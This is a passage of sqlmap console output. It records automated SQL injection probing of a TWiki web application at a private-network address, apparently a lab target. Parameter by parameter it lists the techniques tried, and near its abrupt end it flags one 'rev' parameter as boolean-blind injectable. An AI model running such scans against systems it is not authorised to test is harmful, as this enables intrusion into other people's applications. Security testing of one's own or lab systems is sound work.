WHERE or HAVING clause' [20:13:42] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:13:42] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:13:43] [INFO] testing 'MySQL inline queries' [20:13:43] [INFO] testing 'PostgreSQL inline queries' [20:13:43] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:13:43] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:13:43] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:13:44] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:13:44] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:13:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:13:45] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:13:46] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:13:46] [INFO] testing 'Oracle AND time-based blind' [20:13:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:13:47] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:13:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:13:59] [WARNING] GET parameter 'rev1' is not injectable [20:13:59] [INFO] testing if GET parameter 'rev2' is dynamic [20:13:59] [INFO] confirming that GET parameter 'rev2' is dynamic [20:13:59] [INFO] GET parameter 'rev2' is dynamic [20:13:59] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [20:13:59] [INFO] heuristic (XSS) test shows that GET parameter 'rev2' might be vulnerable to XSS attacks [20:13:59] [INFO] testing for SQL injection on GET parameter 'rev2' [20:13:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:14:01] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:14:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:14:02] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:14:02] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:14:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:14:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:14:04] [INFO] testing 'MySQL inline queries' [20:14:04] [INFO] testing 'PostgreSQL inline queries' [20:14:04] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:14:04] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:14:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:14:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:14:06] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:14:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:14:07] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:14:07] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:14:08] [INFO] testing 'Oracle AND time-based blind' [20:14:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:14:14] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:14:21] [WARNING] GET parameter 'rev2' is not injectable [20:14:21] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 178: GET http://192.168.1.113:80/twiki/bin/view/TWiki/WebPreferences?rev=1.17 do you want to test this URL? [Y/n/q] Y [20:14:21] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebPreferences?rev=1.17' [20:14:21] [INFO] testing connection to the target URL [20:14:21] [INFO] testing if the target URL is stable [20:14:22] [INFO] target URL is stable [20:14:22] [INFO] testing if GET parameter 'rev' is dynamic [20:14:22] [WARNING] GET parameter 'rev' does not appear dynamic [20:14:22] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [20:14:22] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [20:14:22] [INFO] testing for SQL injection on GET parameter 'rev' [20:14:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:14:22] [WARNING] reflective value(s) found and filtering out [20:14:24] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:14:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:14:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:14:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:14:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:14:26] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:14:26] [INFO] testing 'MySQL inline queries' [20:14:26] [INFO] testing 'PostgreSQL inline queries' [20:14:26] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:14:27] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:14:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:14:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:14:28] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:14:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:14:29] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:14:29] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:14:30] [INFO] testing 'Oracle AND time-based blind' [20:14:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:14:31] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:14:37] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:14:43] [WARNING] GET parameter 'rev' is not injectable [20:14:43] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [20:14:43] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WebPreferences?rev1=1.17&rev2=1.16' [20:14:43] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebPreferences?rev=1.16' URL 179: GET http://192.168.1.113:80/twiki/bin/oops/TWiki/WebPreferences?template=oopsmore¶m1=1.18¶m2=1.18 do you want to test this URL? [Y/n/q] Y [20:14:43] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/TWiki/WebPreferences?template=oopsmore¶m1=1.18¶m2=1.18' [20:14:43] [INFO] testing connection to the target URL [20:14:43] [INFO] testing if the target URL is stable [20:14:44] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [20:14:44] [INFO] testing if GET parameter 'template' is dynamic [20:14:44] [INFO] confirming that GET parameter 'template' is dynamic [20:14:44] [INFO] GET parameter 'template' is dynamic [20:14:44] [INFO] heuristics detected web page charset 'ascii' [20:14:44] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [20:14:44] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [20:14:44] [INFO] testing for SQL injection on GET parameter 'template' [20:14:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:14:45] [WARNING] reflective value(s) found and filtering out [20:14:45] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:14:46] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:14:46] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:14:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:14:47] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:14:47] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:14:47] [INFO] testing 'MySQL inline queries' [20:14:47] [INFO] testing 'PostgreSQL inline queries' [20:14:48] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:14:48] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:14:48] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:14:48] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:14:49] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:14:49] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:14:49] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:14:50] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:14:50] [INFO] testing 'Oracle AND time-based blind' [20:14:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:14:51] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:14:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:15:00] [WARNING] GET parameter 'template' is not injectable [20:15:00] [INFO] testing if GET parameter 'param1' is dynamic [20:15:00] [WARNING] GET parameter 'param1' does not appear dynamic [20:15:00] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [20:15:00] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [20:15:00] [INFO] testing for SQL injection on GET parameter 'param1' [20:15:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:15:02] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:15:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:15:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:15:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:15:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:15:04] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:15:05] [INFO] testing 'MySQL inline queries' [20:15:05] [INFO] testing 'PostgreSQL inline queries' [20:15:05] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:15:05] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:15:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:15:06] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:15:06] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:15:07] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:15:07] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:15:08] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:15:09] [INFO] testing 'Oracle AND time-based blind' [20:15:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:15:17] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:15:24] [WARNING] GET parameter 'param1' is not injectable [20:15:24] [INFO] testing if GET parameter 'param2' is dynamic [20:15:24] [WARNING] GET parameter 'param2' does not appear dynamic [20:15:24] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [20:15:25] [INFO] testing for SQL injection on GET parameter 'param2' [20:15:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:15:26] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:15:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:15:27] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:15:27] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:15:28] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:15:29] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:15:29] [INFO] testing 'MySQL inline queries' [20:15:29] [INFO] testing 'PostgreSQL inline queries' [20:15:29] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:15:29] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:15:30] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:15:30] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:15:31] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:15:31] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:15:32] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:15:32] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:15:33] [INFO] testing 'Oracle AND time-based blind' [20:15:34] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:15:41] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:15:49] [WARNING] GET parameter 'param2' is not injectable [20:15:49] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 180: GET http://192.168.1.113:80/twiki/bin/edit/Main/TWikiGuest?t=1441457786 do you want to test this URL? [Y/n/q] Y [20:15:49] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Main/TWikiGuest?t=1441457786' [20:15:49] [INFO] testing connection to the target URL [20:15:49] [INFO] testing if the target URL is stable [20:15:50] [INFO] target URL is stable [20:15:50] [INFO] testing if GET parameter 't' is dynamic [20:15:50] [WARNING] GET parameter 't' does not appear dynamic [20:15:50] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [20:15:50] [INFO] testing for SQL injection on GET parameter 't' [20:15:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:15:51] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:15:51] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:15:52] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:15:52] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:15:53] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:15:53] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:15:53] [INFO] testing 'MySQL inline queries' [20:15:54] [INFO] testing 'PostgreSQL inline queries' [20:15:54] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:15:54] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:15:54] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:15:55] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:15:55] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:15:55] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:15:56] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:15:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:15:57] [INFO] testing 'Oracle AND time-based blind' [20:15:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:15:57] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:16:03] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:16:08] [WARNING] GET parameter 't' is not injectable [20:16:08] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 181: GET http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=TWiki Guest[^A-Za-z] do you want to test this URL? [Y/n/q] Y [20:16:08] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=TWiki Guest[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [20:16:08] [INFO] testing connection to the target URL [20:16:09] [INFO] testing if the target URL is stable [20:16:10] [INFO] target URL is stable [20:16:10] [INFO] testing if URI parameter '#1' is dynamic [20:16:10] [WARNING] URI parameter '#1*' does not appear dynamic [20:16:10] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [20:16:10] [INFO] testing for SQL injection on URI parameter '#1*' [20:16:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:16:10] [WARNING] reflective value(s) found and filtering out [20:16:11] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:16:11] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:16:12] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:16:12] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:16:13] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:16:13] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:16:13] [INFO] testing 'MySQL inline queries' [20:16:13] [INFO] testing 'PostgreSQL inline queries' [20:16:14] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:16:14] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:16:14] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:16:15] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:16:15] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:16:15] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:16:16] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:16:16] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:16:17] [INFO] testing 'Oracle AND time-based blind' [20:16:17] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:16:17] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:16:23] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:16:29] [WARNING] URI parameter '#1*' is not injectable [20:16:29] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 182: GET http://192.168.1.113:80/twiki/bin/view/Main/TWikiGuest?skin=print do you want to test this URL? [Y/n/q] Y [20:16:29] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Main/TWikiGuest?skin=print' [20:16:29] [INFO] testing connection to the target URL [20:16:29] [INFO] testing if the target URL is stable [20:16:30] [INFO] target URL is stable [20:16:30] [INFO] testing if GET parameter 'skin' is dynamic [20:16:30] [INFO] confirming that GET parameter 'skin' is dynamic [20:16:30] [INFO] GET parameter 'skin' is dynamic [20:16:30] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [20:16:31] [INFO] testing for SQL injection on GET parameter 'skin' [20:16:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:16:31] [INFO] heuristics detected web page charset 'ascii' [20:16:31] [WARNING] reflective value(s) found and filtering out [20:16:32] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:16:32] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:16:32] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:16:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:16:33] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:16:34] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:16:34] [INFO] testing 'MySQL inline queries' [20:16:34] [INFO] testing 'PostgreSQL inline queries' [20:16:34] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:16:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:16:34] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:16:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:16:35] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:16:36] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:16:36] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:16:37] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:16:37] [INFO] testing 'Oracle AND time-based blind' [20:16:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:16:38] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:16:43] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:16:48] [WARNING] GET parameter 'skin' is not injectable [20:16:48] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 183: GET http://192.168.1.113:80/twiki/bin/rdiff/Main/TWikiGuest?rev1=1.6&rev2=1.5 do you want to test this URL? [Y/n/q] Y [20:16:48] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/Main/TWikiGuest?rev1=1.6&rev2=1.5' [20:16:48] [INFO] testing connection to the target URL [20:16:48] [INFO] testing if the target URL is stable [20:16:49] [INFO] target URL is stable [20:16:49] [INFO] testing if GET parameter 'rev1' is dynamic [20:16:49] [WARNING] GET parameter 'rev1' does not appear dynamic [20:16:49] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [20:16:49] [INFO] testing for SQL injection on GET parameter 'rev1' [20:16:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:16:50] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:16:51] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:16:51] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:16:52] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:16:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:16:53] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:16:53] [INFO] testing 'MySQL inline queries' [20:16:53] [INFO] testing 'PostgreSQL inline queries' [20:16:53] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:16:53] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:16:54] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:16:54] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:16:54] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:16:55] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:16:55] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:16:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:16:56] [INFO] testing 'Oracle AND time-based blind' [20:16:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:16:57] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:17:03] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:17:09] [WARNING] GET parameter 'rev1' is not injectable [20:17:09] [INFO] testing if GET parameter 'rev2' is dynamic [20:17:09] [WARNING] GET parameter 'rev2' does not appear dynamic [20:17:09] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [20:17:09] [INFO] testing for SQL injection on GET parameter 'rev2' [20:17:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:17:10] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [20:17:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:17:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:17:11] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:17:12] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:17:12] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:17:13] [INFO] testing 'MySQL inline queries' [20:17:13] [INFO] testing 'PostgreSQL inline queries' [20:17:13] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:17:13] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:17:13] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:17:14] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:17:14] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:17:15] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:17:15] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:17:16] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:17:16] [INFO] testing 'Oracle AND time-based blind' [20:17:17] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [20:17:23] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [20:17:29] [WARNING] GET parameter 'rev2' is not injectable [20:17:29] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 184: GET http://192.168.1.113:80/twiki/bin/view/Main/TWikiGuest?rev=1.5 do you want to test this URL? [Y/n/q] Y [20:17:29] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Main/TWikiGuest?rev=1.5' [20:17:29] [INFO] testing connection to the target URL [20:17:29] [INFO] testing if the target URL is stable [20:17:30] [INFO] target URL is stable [20:17:30] [INFO] testing if GET parameter 'rev' is dynamic [20:17:30] [INFO] confirming that GET parameter 'rev' is dynamic [20:17:30] [INFO] GET parameter 'rev' is dynamic [20:17:30] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [20:17:30] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [20:17:30] [INFO] testing for SQL injection on GET parameter 'rev' [20:17:30] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [20:17:30] [WARNING] reflective value(s) found and filtering out [20:17:32] [INFO] GET parameter 'rev' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable [20:17:32] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [20:17:32] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [20:17:32] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [20:17:32] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [20:17:32] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [20:17:32] [INFO] testing 'MySQL inline queries' [20:17:32] [INFO] testing 'PostgreSQL inline queries' [20:17:32] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [20:17:32] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [20:17:32] [WARNING] time-based comparison requires larger statistical model, please wait....
[20:17:33] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [20:17:33] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [20:17:33] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [20:17:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [20:17:33] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [20:17:33] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [20:17:33] [INFO] testing 'Oracle AND time-based blind' [20:17:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [20:17:33] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [20:17:33] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [20:17:35] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [20:17:37] 